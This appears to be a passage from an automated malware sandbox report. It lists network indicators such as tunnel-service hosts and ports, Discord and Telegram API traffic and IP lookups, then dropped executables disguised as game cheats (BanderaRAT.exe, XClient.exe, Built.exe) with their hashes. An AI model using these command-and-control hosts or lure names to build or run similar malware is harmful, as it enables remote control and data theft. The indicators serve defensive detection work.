US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 blank-i78ax.in udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 discord.com udp
US 162.159.135.232:443 discord.com tcp
US 8.8.8.8:53 232.135.159.162.in-addr.arpa udp
US 8.8.8.8:53 greater-questionnaire.gl.at.ply.gg udp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 8.8.8.8:53 209.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 artist-shared.gl.at.ply.gg udp
US 147.185.221.18:34511 artist-shared.gl.at.ply.gg tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 8.8.8.8:53 stories-boulevard.gl.at.ply.gg udp
US 147.185.221.18:35608 stories-boulevard.gl.at.ply.gg tcp
US 8.8.8.8:53 224.238.32.23.in-addr.arpa udp
US 147.185.221.18:34511 stories-boulevard.gl.at.ply.gg tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 210.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 points-detect.gl.at.ply.gg udp
US 147.185.221.18:35608 points-detect.gl.at.ply.gg tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 147.185.221.18:34511 points-detect.gl.at.ply.gg tcp
US 8.8.8.8:53 epsilonbot.xyz udp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 147.185.221.18:35608 points-detect.gl.at.ply.gg tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/2560-0-0x0000000000810000-0x000000000169A000-memory.dmp

memory/2560-1-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/2560-2-0x0000000003740000-0x0000000003750000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 5eb21fd641b9ddcf9d108595d8bf6e1a
SHA1 0354fae8e0759a3e4a23bc4fc965b975d2ffc456
SHA256 d817dac3415aab72542d0edf9531fba4bfe96bd61454ffec4720b5ce8bab8e57
SHA512 a3badeee6bc5e8ab61b44ab6c8623dd8a95670b560f451519d58bb287364e9cd22cdf4c33e6c02cf92dadcf81fe927a978fe30b58b5191f51fe11e9e3990c4cb

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 411c1f81c44e800d7367232c491dcae2
SHA1 7e8cf6bf4a4d98c0a07156e62a315c5871c67266
SHA256 9d6104cb198239ce2b306f1cf523a85210c8ee1cc141ecd52f30c2e6948e5447
SHA512 7899087fc5d934ee7aa54b7c359b594b33f7b8d40136c38f61c9828df10850b3a41321370d935677f50850e968c2ed81412cdf68c5ece69ed33efccf143a9ad4

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 0d9e00ced7bb33d6fa831f6113d35cb6
SHA1 5179d77708c68e2dadf32530706efafba7ee0f0d
SHA256 d072d901e5586dd45cfec8f6f4fcdbf2b8cd4d5f2b10e56cb1f8bb75d9893ffc
SHA512 112676a5e81f13c4fe92d30f30923b044e24765cfb958ff2ce4d34c82ac326c1661e8396cf950c36b7858bcb53e8e93de10d115b289a3869e6c04dded8b1dc26

memory/3656-15-0x0000000000370000-0x000000000068E000-memory.dmp

memory/3656-18-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 026b9b89a2d93c6d3fffb805f08d2288
SHA1 f957cd2f79de3d2db0d7b864bb674115c6aaa9f8
SHA256 fadb3477888023da4f666b6d2489ffb211d7cc1e866d9e109a50db7de40fa71e
SHA512 499e7f7c8b4d2e332cb33e41f12323ea90d087169a8328a11e56ce69ec408c6bac089a3ccf3962fc4682fabe14fc24d32adc2fc5fef3828ad32f93fead6cd9c6

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 86403380a832667436c0e3875f6e88d4
SHA1 e83205095bd92f322636a36b8c80dcc9e173cd74
SHA256 45331d0cc993e3c4beef2d6398666fd3fa9b4172fcad81ce8e1a065dbae205a6
SHA512 7a782c25b6cd552ba777d88747fc5668035bdd58ab881e30046c1f91bdf9fc8c88dc8c23ebbe2afadc96e80f62dbe63b55dbae8e31146b83ee49dbca1e5c613c

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 de0cc08ad0344268b7278f4f36b79c52
SHA1 cd2fea52f0e9aee617b570fdbf7b11f2efa23e48
SHA256 a87251403c301cb878190abca42b44049adc0f597648ae30da3672fd393a3550
SHA512 3a92acca11c83482e00e6af148dd6db6e19e6869a84fb431c5d72692ed9906013db6aeead2b158b05be9508745562259c802672beaa1e8474aa87cb45a633eb7

memory/2560-28-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/1180-30-0x0000000000780000-0x00000000012E2000-memory.dmp

memory/1180-29-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/3656-31-0x000000001B210000-0x000000001B220000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 33e75adfd512ea4fbbd8a6cedf9dbbf9
SHA1 fc7b37ec57d720f119473f330d91a36a32ea7633
SHA256 eb6a77e8c0e16664c2b250adc0bf002a528c5f158de058ef671b0c2fa25c5e9a
SHA512 4161731f4c0c88cebdde8006eabfd872a5d5e4829a3f8b6c545a396d7547caca584988a4580293a7449560a14a2d12fee98fb29d46e923eaa4981e3bdcc8f4f2

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

MD5 701df65121e1977fdf160bd9cfb9bb6a
SHA1 5fbbddbad5e0ca509b60134f78188f255bf6b74e
SHA256 3723e482205265aab379471320d8ed825c04a106fd15881e5f09e6e25fc4e5f1
SHA512 2b15ab4a089bcf1f62cb0172f1674756016f54e07547b5038ba10975aaf6dde920d2a18d254245b4a4f2715b32040086a00b1cacc1bcf4cc1dc5a512feaa9607

memory/2132-44-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/2084-46-0x0000000000100000-0x000000000010E000-memory.dmp

memory/2084-47-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/3656-48-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/1180-49-0x000000001BE70000-0x000000001BE80000-memory.dmp

memory/2132-53-0x000000001BEF0000-0x000000001BF00000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\BanderaRAT.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

memory/1092-57-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/2132-58-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 62eb2706e50eca252fb1dfc121894542
SHA1 0ffc845a577409fff2f1f2e443157871b46175e4
SHA256 ac365e5d5c735d0cf73cf5e88a6c2ba6518fab830005b8f14386e6299c4d4c1f
SHA512 e6218f4219b464fede31450c160b1ef87baa303516f0f369dca87ecf4c991f3014c7d0bcd47b72420cf3c6c65d857bdf825828db0f873ec6cb216b58d3eb2d4e

memory/3468-59-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 fa6441c6dbf4529858406d675bbaa540
SHA1 d707c7ef6ca75d3ddf5b6380864f20512ce91f18
SHA256 47f4622a85ec205f87726ecf0d8ef8997b97e579b975d8a9d3a0d6438621ade2
SHA512 935ee650feffe44f5df07474c83ce4618e86fe2f73feef211c4fa0b3af85126081ff0f371d5fadf57a21428be78a760a8b3b2c97815f51e57a8a64ba2217721a

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 d132c0b5a904c6cdf52fedae3b39e3ce
SHA1 9200c4e491a8b1daca457b1bf855c47c1d8c7dbc
SHA256 7cc1412734c849b32f58fd971767d4e1b25c9847e1e51b9933b9fac11a9c7da6
SHA512 f1ce928526753be0f80b48010226bf59a873ffaae79792faa34e574a22a6707229431fb9aa8844b846881707cb0e0517780f901c96df9d1b5c9f38004d526c58

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 149d3423469d86dc2cb8b5b3f0650335
SHA1 e32154ecf21a4000d0f0088bfc4e77049e7065c6
SHA256 c4cc0a3b7620183c034f00f6df54755fd44eb3b210156e108f6432d04fa62668
SHA512 3eb383ab93f173ca1f9ea1ea1c2321b9173a86b1792279213b810c4700a54d212eb51218e75839ba327ecf15338cd7daf672651b670fd8a1aaab3e6b1cc18fe6

memory/116-72-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/116-71-0x0000000000750000-0x00000000012BE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\sisk.exe

MD5 ab1bbb41c6c90c3b6d93a9be5e352995
SHA1 70cd2de832d76014d7f50ee1a16e89fba701b659
SHA256 1bf82ca4dd37e2b8f28b458da35a1e76059d65999a4bc480f4c245544c963c45
SHA512 77b8aa1baafc4301e563fd6298ebc7785803f6894e12deb52887424a8ad8bf6f907c0297da7ed4cfd58fc151d5507d6164fb2bd2644c6cd71e84a6ca765d57a2

C:\Users\Admin\AppData\Local\Temp\sisk.exe

MD5 ee3d2c920b7d07580ec4ffc2bd6cc8d2
SHA1 dd38ac817313116c9bd7f5c7a8cb26477753614a
SHA256 01a0672ec4c3c95de358e5425ee15d4c6c6005305e6f163a5d1df96453b38482
SHA512 0df90304756b72a81042c79873e7259b7052a836239d091e02412a0aabd54f30894b965b43dc8155bc88d74d685a663ad39fcba4f1ba1b18b832f27a83acd639

memory/4016-83-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/1180-82-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/1092-84-0x000000001B3E0000-0x000000001B3F0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 991e0633f3eba79639598dde0f3c939b
SHA1 e529c5b09998b81940ef0f32cce33d6594374d9a
SHA256 31d642255cb5a1262ab5b6b3652b7290434676ac1aeec80fa80c3d93753feaf4
SHA512 252038afedfef51075191ae67df1e66cc289d9e468b30b4162f5c9b364e1f5cd3e67028c4b79dfc64df8827bf0576cac1dad317becbe2784bd35e566036fb0ac

memory/4016-87-0x00000000009F0000-0x0000000000A08000-memory.dmp

memory/1092-89-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/2260-88-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/4132-90-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/2084-91-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/3468-93-0x0000000001930000-0x0000000001940000-memory.dmp

memory/2084-92-0x0000000002A90000-0x0000000002AA0000-memory.dmp

C:\ProgramData\XClient.exe

MD5 9ecb9d48c8da1e49862a32f5d32e3c9b
SHA1 20902b0b25916dab87b0a373e6fa28ce26feed49
SHA256 fb2089afae7b75b4bfe6780786cd723a7ef09a22ac3b8701b31c3989de41e7ff
SHA512 3dfd281d6989c8a4e9c19c35cb5581821854dfe5719e58e59b4ab7955e272e108e626fa9a7bd6c0fa0ab9d596176ff008c157fa8908959da321cb921dd70cae3

memory/3656-108-0x0000000000DC0000-0x0000000000DD0000-memory.dmp

memory/3656-109-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\ProgramData\Cheat.exe

MD5 fffb0f87ab81e90d17f0ae62efd2be75
SHA1 652b6b4e6fd83f7bac234eaf569baaa6fd3d1149
SHA256 cd67aeeb3d1d862d962e85d5ac3f6597d2e7e2962c489ed1d7b62329b53209df
SHA512 ae4e05b71b71070ded434dd3a243af8c785f2bd9b2e0802d01379e709e1ad3b4db7a61ec00b959f0654d5aca96a3254b0555622d4345933fd1f94e5331d269b0

memory/3468-113-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/2260-114-0x00000000031A0000-0x00000000031B0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ssbobr2.0.exe.log

MD5 fff5cbccb6b31b40f834b8f4778a779a
SHA1 899ed0377e89f1ed434cfeecc5bc0163ebdf0454
SHA256 b8f7e4ed81764db56b9c09050f68c5a26af78d8a5e2443e75e0e1aa7cd2ccd76
SHA512 1a188a14c667bc31d2651b220aa762be9cce4a75713217846fbe472a307c7bbc6e3c27617f75f489902a534d9184648d204d03ee956ac57b11aa90551248b8f9

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 d4d273375c446f0723f40d6e028a556c
SHA1 90e4a18d7f0d7a41ada9c673492f87334f2d5b4b
SHA256 8ccd53c2971b43fe263fb05de93e36d6b4f9f5850869ca41bb65b67d84867763
SHA512 d3ec48b503c5f79b8f200ee3b3f6b611e69b78ffad4e6443b741bdc5ab32f41357a62bb4dc41e89d1f617147afd72f5ad379050267360f831c54daec2da90194

memory/3660-120-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\ProgramData\Cheat.exe

MD5 b4119eb1b8e344d4300484a3487aa997
SHA1 ed3e6ba0fc5de41d91cbeae72381c4737dbc3136
SHA256 705e3edd4206864a4120562b1169d03b5cafe7237bf6ed9ed9abd6887bbff714
SHA512 9dc9a5bd5eba4a08b4268eda163874acfe6d303f0a7064f6cefaef9061b51f628025e1c833f2625d53b9491446ebed02905af79ee0e90651dc7f090c8add6ce6

memory/3628-121-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/116-122-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/4132-123-0x000000001C550000-0x000000001C560000-memory.dmp

memory/2260-124-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/4132-128-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\ProgramData\Built.exe

MD5 1bc6789067ea44441fc0fde16a0d0a8a
SHA1 8ff0f3a69088126c390c7c889a582ffb4c159146
SHA256 92b63e381adb8e44509331f95952109ed9ad7bb5a068c99f97432c57a3943ac8
SHA512 5db215b0f7151ba98fb67ffe4e9b27c97440b9c3f6601d892db6ef56fe04de747318d02878f79d8ad24071a0a255a29126e04dff9ef450d2c2240ff448f3e208

C:\ProgramData\Built.exe

MD5 17ec029117811d9d37157108d06055e4
SHA1 142f77a2f508427d5f2e133cbb54f20687c9c8a8
SHA256 f58a32cda76459c4d83863da570bf5d3b0160e2eb8c3925f1033e2d55ae883f0
SHA512 c700a8b02f7fc28e35cb2474af07b3481e08e867e62171da4d4c9c20edcfafbcf2e847989304779fc388400e3d144522625463a260f034b03ff3350ca5cd46c4

memory/4016-143-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\ProgramData\Built.exe

MD5 28d094e7a4f111d2110e63a14f91fe04
SHA1 f1be800006abdf7ca4a9455f08a8d95dfb0235a9
SHA256 be1f25c96905de5f44903762fdb6da3aa7c2507b2f18a7526b43ab0e48977cf3
SHA512 214b32554f1a8c96ab75495c6dad6f7fbc66180f88fd256f2b0e4834abf00cc42a8d8e52a41ec86f8638aa6cbbebbb5c7428a96753c453f04b873bade29100a7

memory/4016-144-0x0000000001210000-0x0000000001220000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI35642\python311.dll

MD5 94bfb9c8693e1ef9ead8e02affdfbbf6
SHA1 300df5d0a0ca52faa0238cb7d7145311d1647e06
SHA256 e1c29ac05ab231e6cf9717a427d16bffb075e98f222785a58f6449d518506204
SHA512 faa8c7182a9934c3a00279930b37859e1ce730d556085b601072a81345b402b36fb305a66f85da59fe4b1d105cf53b035b584622579be0a0f2621ceadc145c8b

C:\ProgramData\Built.exe

MD5 95e1b93507871c0a44b1e3d4e360faef
SHA1 526170efef2068d8de5b3eefc9ee02e0e26f29b8
SHA256 bfe5b90cb1d42b8266582de8eb2b5fd5db0c20592f57d2c5292fd8414f4bf2ac
SHA512 a60887a1d4f3d3bf64b050d3e760485c98ce3826899056fe6ce31e0c8affcfc32adf6996086ff743a8f0434e86e5f48f353e05f9a73104b14abbaf3a677c8b1f

C:\ProgramData\Fluxus V7.exe

MD5 a3ff96ed2e655840348a121bcd035296
SHA1 2322935193d87d46faba0384707e92691d6627ec
SHA256 81aad7dfd43b5fdedf966269e413ad0ad27fda08350c547bad54be85592221ee
SHA512 a54953461351069139d006038b36355a701235211a8d1afad68062a1e16b9ed37d1a72dff5f6cac57aa832748fbb352154e236b203c8cb2389e4b17d2a763815

C:\ProgramData\Fluxus V7.exe

MD5 175cad971a8edb21190f9ecef66d089c
SHA1 16fefb4c1e863ae6e1e4dfe02d7f067f139c4b2f
SHA256 0908a7c9999bc704032e33404dfa7e97531043086f3f8db9323ead440004f651
SHA512 90943828c0dd704006d9fd964508a841c6f349c4b6865013d33d7cdafd79949b65826512062e0e81ae378797f7000af2864a35297131e82d5dff206c5a84a221

memory/116-175-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/3660-176-0x000000001B3A0000-0x000000001B3B0000-memory.dmp

memory/3628-177-0x0000000002E30000-0x0000000002E40000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI35642\python311.dll

MD5 0982b2f1f6dc59b45d13c954b3745f31
SHA1 70b8ee58b96949954f28b15513de2fa91f1f24bf
SHA256 ac8157a3d362fada35c9f0eb04db854bcc81bfcc248d29ee17c5239488668d68
SHA512 0a3998d2f810628b1be61332a7b57945c3d309d7d363ffef183c3694138a25d232c2f77f36aa7a5dc2e57a2873a4fd4da02b3916868811430f889c54eacb10e6

memory/3248-180-0x00007FFFA1260000-0x00007FFFA184E000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI35642\VCRUNTIME140.dll

MD5 c3972fbb18c6738a2825dd0cb675ac06
SHA1 dee6bc0d1699b4636b4106caac9773a76a917691
SHA256 e133eebd850f613991f7ddc53df148f09354b068d6e624a12a63d2f774001f1b
SHA512 8710e118f435ab32883f7b6dc60a1ff04f03932bddbd8c15456aa3afdf7a5bf5a8c9bcdc31842a8c800669ae9b0268bef160a3d03bd4f73284df76c4c30177a9

C:\Users\Admin\AppData\Local\Temp\_MEI35642\VCRUNTIME140.dll

MD5 be8dbe2dc77ebe7f88f910c61aec691a
SHA1 a19f08bb2b1c1de5bb61daf9f2304531321e0e40
SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
SHA512 0da644472b374f1da449a06623983d0477405b5229e386accadb154b43b8b083ee89f07c3f04d2c0c7501ead99ad95aecaa5873ff34c5eeb833285b598d5a655

memory/2084-182-0x0000000002A90000-0x0000000002AA0000-memory.dmp

memory/1740-185-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/3660-188-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/3656-187-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

memory/2480-191-0x00007FFFA4220000-0x00007FFFA4CE1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI35642\base_library.zip

MD5 2bbab3d622cac56a2ca4c79443d33834
SHA1 02d8057abdfdccad0a8ab29d660ebf3860e13fbb
SHA256 83bc3c915dd6f339733581d249a0f2f12d7adce58fd88395f6e932e300ea54f6
SHA512 a8d44982e9cf6b7d74668af68e3346f0525549e8642af7f9d66119198189400e0956f7e5fb86c7b2f2e8a605015de7682128d7d0653f8af2883cc1a96d61d9ab

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 6976475ef350dde7f9966b25ff051364
SHA1 c930fe687fcad6a073629dcc9c6d120aba741151
SHA256 d84ca472341a4ede58f4b69c88a60e696af2761b500e968cecb7db2670a12153
SHA512 9d4eaca09cb852edca77292910ec311f32471d0188a216bef6e5ce5a490bb16fbcef2e08646b7f8495afef939a2ce50952a671f6c843abdbd924603068519c92

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_ctypes.pyd

MD5 4da58b48c1ceb86ed9b035304f9954fb
SHA1 250c25f23d1aa77f40656bc0555639c3d415812d
SHA256 16ca6c3de063d7cd1ff3e31b8baecfcd2eeb14d6b58cbb747cc5d942a8f7a6bc
SHA512 5ed55e8a34b4bcb95c41c899ec15ad12a8000ba0eedeeca88d591ce84eff19fb3f909734aefe456ead95247b355dc8ac498040dd80b31d92f560d278be7c7750

memory/3248-194-0x00007FFFB6450000-0x00007FFFB6474000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_ctypes.pyd

MD5 ee2d4cd284d6bad4f207195bf5de727f
SHA1 781344a403bbffa0afb080942cd9459d9b05a348
SHA256 2b5fe7c399441ac2125f50106bc92a2d8f5e2668886c6de79452b82595fc4009
SHA512 a6b3ad33f1900132b2b8ff5b638cbe7725666761fc90d7f76fc835ecd31dfefc48d781b12b1e60779191888931bb167330492599c5fea8afa51e9c0f3d6e8e55

C:\Users\Admin\AppData\Local\Temp\_MEI35642\libcrypto-3.dll

MD5 a72c37ff0fa776abf86fc0a16d1738d1
SHA1 68db1e6fa6cc51590542522152d6ace77291dd34
SHA256 5bbca11fdf37a8fa03b029f14225c5336b4e81872271c211a31088d6d29a0d7c
SHA512 3573b912ac7381959103f35a8e5dc72b7001d81804b2074be337bf805ea095fe9bf06cdc640772964e6a5b00c87f5858ef0ac3694a08ecf2524b39fcdc500435

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_ssl.pyd

MD5 936919f3509b2a913bf9e05723bc7cd2
SHA1 6bf9f1ecfcd71fc1634b2b70fcd567d220b1a6bd
SHA256 efce6dcf57915f23f10c75f6deaf6cb68efe87426caad4747ca908199b1f01e3
SHA512 2b2436e612b6cd60d794f843498fcbf8624a80e932d242592e569e32ec1d40a25d80e2c7e9f8edc7fc0478cef2ec6f77ad6c6ebbddf5afb027263397c91c73c3

memory/3248-212-0x00007FFFB6440000-0x00007FFFB644F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_sqlite3.pyd

MD5 1951524c131b5e8cbb9a2e5b211e4ad1
SHA1 362fa1097737f64a67756ae6cf0963b5e725d539
SHA256 2d9201bc0858e1df8121f6cc579cebcf9ebe6a16da975d9aa57987e384b1c900
SHA512 5fe5f426c98adca19ffd132cbd6d35498dd5874a829241edfdc6ac6576828b99b6313f44c2b0029f9429314da398fa59186b328ea7d683d1ec6e3f87fb76bc21

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_socket.pyd

MD5 4fceb4f14385a9c93e426dd7e1223870
SHA1 7fee411e382716a6fb5bda8578d0e64fb7d66e50
SHA256 3bec445ba4c195e8afb89c75aaa32c1d2c0247a6a8f9ec000d61bd73091ed9e0
SHA512 e4165a2f009ac1b977f5138ac13d49d51882ef942a1f375dadd1258c75c4dcffa78e9cbe6b17b8ff8e44ab82c9ae29944493bb19341803547ef2b11f20ff8c73

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_queue.pyd

MD5 8b3ba5fb207d27eb3632486b936396a3
SHA1 5ad45b469041d88ec7fd277d84b1e2093ec7f93e
SHA256 9a1e7aaf48e313e55fc4817f1e7f0bfe0a985f30c024dcc8d28d67f8ff87a051
SHA512 18f5a0b1a384e328d07e59a5cefbc25e027adf24f336f5ec923e38064312ea259851167bc6bc0779e2d05cd39ddd8d16a2dfd15751c83ee58fda3b1187edc54b

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_lzma.pyd

MD5 5eee7d45b8d89c291965a153d86592ee
SHA1 93562dcdb10bd93433c7275d991681b299f45660
SHA256 7b5c5221d9db2e275671432f22e4dfca8fe8a07f6374fcfed15d9a3b2fdf07d9
SHA512 0d8f178ff5ef1e87aa4aae41089d063985c11544f85057e3860bcab1235f5ddb1cb582550a482c8b7eb961211fa67777e30b678294258ada27c423070ce8453e

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_hashlib.pyd

MD5 6d2132108825afd85763fc3b8f612b11
SHA1 af64b9b28b505e4eab1b8dd36f0ecf5511cc78a0
SHA256 aba69b3e817bfb164ffc7549c24b68addb1c9b88a970cf87bec99d856049ee52
SHA512 196bcf97034f1767a521d60423cca9d46a6447156f12f3eac5d1060a7fa26ac120c74c3ef1513e8750090d37531d014a48dd17db27fbfbb9c4768aa3aca6d5c0

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_decimal.pyd

MD5 918e513c376a52a1046c4d4aee87042d
SHA1 d54edc813f56c17700252f487ef978bde1e7f7e1
SHA256 f9570f5d214d13446ed47811c7674e1d77c955c60b9fc7247ebcb64a32ae6b29
SHA512 ac2990a644920f07e36e4cb7af81aab82a503e579ce02d5026931631388e2091a52c12e4417e8c747f2af9aa9526b441a3f842387b5be534633c2258beeed497

C:\Users\Admin\AppData\Local\Temp\_MEI35642\_bz2.pyd

MD5 341a6188f375c6702de4f9d0e1de8c08
SHA1 204a508ca6a13eb030ed7953595e9b79b9b9ba3b
SHA256 7039e1f1aef638c8dd8f8a4c55fd337219a4005dca2b557ba040171c27b02a1e
SHA512 5976f053ff865313e3b37b58ca053bc2778df03b8488bb0d47b0e08e1e7ba77ccf731b44335df0cea7428b976768bedc58540e68b54066a48fc4d8042e1d8a24

C:\Users\Admin\AppData\Local\Temp\_MEI35642\unicodedata.pyd

MD5 6279c26d085d1b2efd53e9c3e74d0285
SHA1 bd0d274fb9502406b6b9a5756760b78919fa2518
SHA256 411bfb954b38ec4282d10cecb5115e29bffb0b0204ffe471a4b80777144b00f6
SHA512 30fdeed6380641fbb4d951d290a562c76dd44b59194e86f550a4a819f46a0deb7c7a2d94867cc367c41dcab9efb95628d65fe9a039c0e14a679c149148d82ac9

C:\Users\Admin\AppData\Local\Temp\_MEI35642\sqlite3.dll

MD5 6263a2d05bb9af1959e5bf6081b17f59
SHA1 c7d2e8f0c5941a57871d6be7bbef5ecbcb9475e7
SHA256 9a8549198b8410e2920b50997a3968f1fff8d25f76526d8240128322bf77a254
SHA512 a500d24ae1e4bd2af4ff6d6de27ccbe057fd86edecb31ec5640d4ebacc203a477e2d3bcc06921a4c35e2c3e2d9568cfd78ea650a257df11933a8ced2b449d84b

C:\Users\Admin\AppData\Local\Temp\_MEI35642\select.pyd

MD5 2398a631bae547d1d33e91335e6d210b
SHA1 f1f10f901da76323d68a4c9b57f5edfd3baf30f5
SHA256 487fd8034efaf55106e9d04fc5d19fcd3e6449f45bc87a4f69189cd4ebb22435
SHA512 6568982977b8adb6ee04b777a976a2ecc3e4db1dffbd20004003a204eb5dae5980231c76c756d59a5309c2b1456cb63ab7671705a2c2e454c667642beb018c21

C:\Users\Admin\AppData\Local\Temp\_MEI35642\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI35642\rar.exe

MD5 85f98eb9df2aa0434ef181d9bffc6d16
SHA1 78bd09005a2253a627516ccf37f3b8f266abffc3
SHA256 96fa341ad544a3126b911f5b630efeb58390f8e52b183d0ac978d5a78ef0fd90
SHA512 85145337ecf645087a41aab6a7d66d1f4b92902696b81306ed17ef45bfc169425c1c12611feda4890f572a7e4b661cb42e36bb6a5a0f56f3f46039115a3cd55b

C:\Users\Admin\AppData\Local\Temp\_MEI35642\libssl-3.dll

MD5 2720054bfa82063c3420a17edafc0b98
SHA1 487ba959682ee4db91aa89468d042117746f0b74
SHA256 25af95dcf0e27220044b1739684f2c4554db7b2d0de4065f484ce1fb59936882
SHA512 3c8b2739a3fd44f8a59c5cd44cb1dbe460500b9e0e22ea0ea0ceb9c03d6812cebcb0dc85e4ead26baff58fdc440cb398c5427c2618acc8f9368ce3e8681ff840

C:\Users\Admin\AppData\Local\Temp\_MEI35642\blank.aes

MD5 291948ee8e8927f3a74e829695ff9b43
SHA1 2d28ac4941f4095b8ac4340e4b626af45da15625
SHA256 035ba985560ab044aa1c4c413dc1b5706031a6143cd38606e57b5da145aaac6a
